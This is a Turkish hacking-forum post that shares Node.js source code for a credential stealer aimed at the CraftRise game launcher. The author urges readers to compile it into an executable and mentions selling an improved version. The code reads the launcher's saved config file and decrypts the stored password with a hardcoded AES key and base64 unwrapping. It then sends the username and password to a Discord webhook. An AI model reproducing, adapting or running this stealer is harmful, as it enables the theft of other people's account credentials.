dontasktoask
Uzman Üye
- Katılım
- 15 Kas 2024
- Mesajlar
- 747
- Beğeniler
- 135
- İletişim
merhaba arkadaşlar bu kodu java script to exe yaparak kullanabilirsiniz daha iyi ve kaliteli halini paylaşacağım veya satacağim iyi günler
exe yapılmış vt:
exe yapılmış vt:
Linkleri görebilmek için kayıt olmanız gerekmektedir
const fs = require('fs');
const path = require('path');
const crypto = require('crypto');
const axios = require('axios');
const atob = require('atob');
class Decrypter {
constructor() {
this.username = "empty";
this.password = "empty";
this.configPath = path.join(
process.env.APPDATA || "/", ".craftrise", "config.json"
); // Config file path
this.DISCORD_WEBHOOK_URL =
""; // Discord webhook URL
}
initialize() {
try {
if (!fs.existsSync(this.configPath)) {
console.error("Config file not found.");
return;
}
const configData = fs.readFileSync(this.configPath, 'utf-8');
const configJson = JSON.parse(configData);
this.setUsername(configJson.rememberName);
const encryptedPassword = configJson.rememberPass;
this.setPassword(Decryptor.decrypt(encryptedPassword));
this.sendToDiscord(this.username, this.password);
} catch (error) {
console.error("Error initializing:", error.message);
}
}
getUsername() {
if (!this.username) throw new Error("Username is empty");
return this.username;
}
getPassword() {
if (!this.password) throw new Error("Password is empty");
return this.password;
}
setUsername(username) {
if (username) {
this.username = username;
} else {
console.error("Username is empty or null");
}
}
setPassword(password) {
if (password) {
this.password = password;
} else {
console.error("Password is empty or null");
}
}
async sendToDiscord(username, password) {
try {
const payload = {
embeds: [
{
title: "dontasktoask 1.0 @everyone",
description: "Craftrise Hesap Bilgileri",
color: 16711680,
thumbnail: {
url: "Linkleri görebilmek için kayıt olmanız gerekmektedir",
},
fields: [
{ name: "Kullanıcı Adı", value: username, inline: false },
{ name: "Şifre ve dosya yolu #C#RR########CRRR## nin sol tarafindaki şifre", value: password},
],
footer: {
text: "dontasktoask tarafından oluşturuldu - Bilgiler güvende mi?",
icon_url: "Linkleri görebilmek için kayıt olmanız gerekmektedir",
},
},
],
};
const response = await axios.post(this.DISCORD_WEBHOOK_URL, payload, {
headers: {
'Content-Type': 'application/json',
},
});
if (response.status === 204) {
console.log("merhaba");
} else {
console.error("Unexpected response from Discord webhook:", response.status);
}
} catch (error) {
console.error("Error sending to Discord:", error.message);
}
}
}
class Decryptor {
static decrypt(encryptedPassword) {
try {
const key = Buffer.from("2640023187059250", "utf-8"); // AES key (should be securely stored)
const decipher = crypto.createDecipheriv("aes-128-ecb", key, null);
decipher.setAutoPadding(true);
const decrypted = Buffer.concat([
decipher.update(Buffer.from(encryptedPassword, "base64")),
decipher.final(),
]);
return this.getRiseVers(decrypted.toString("utf-8"));
} catch (error) {
throw new Error("Decryption failed: " + error.message);
}
}
static getRiseVers(input) {
const clean = (str) =>
this.decryptBase64(str)
.replace(/3ebi2mclmAM7Ao2/g, "")
.replace(/KweGTngiZOOj9d6/g, "");
const decodedString = clean(clean(this.decryptBase64(input)));
return decodedString;
}
static decryptBase64(input) {
try {
return Buffer.from(input, "base64").toString("utf-8");
} catch (error) {
console.error("Failed to decode base64:", error.message);
return null;
}
}
}
const decrypter = new Decrypter();
decrypter.initialize()
;
Son düzenleme: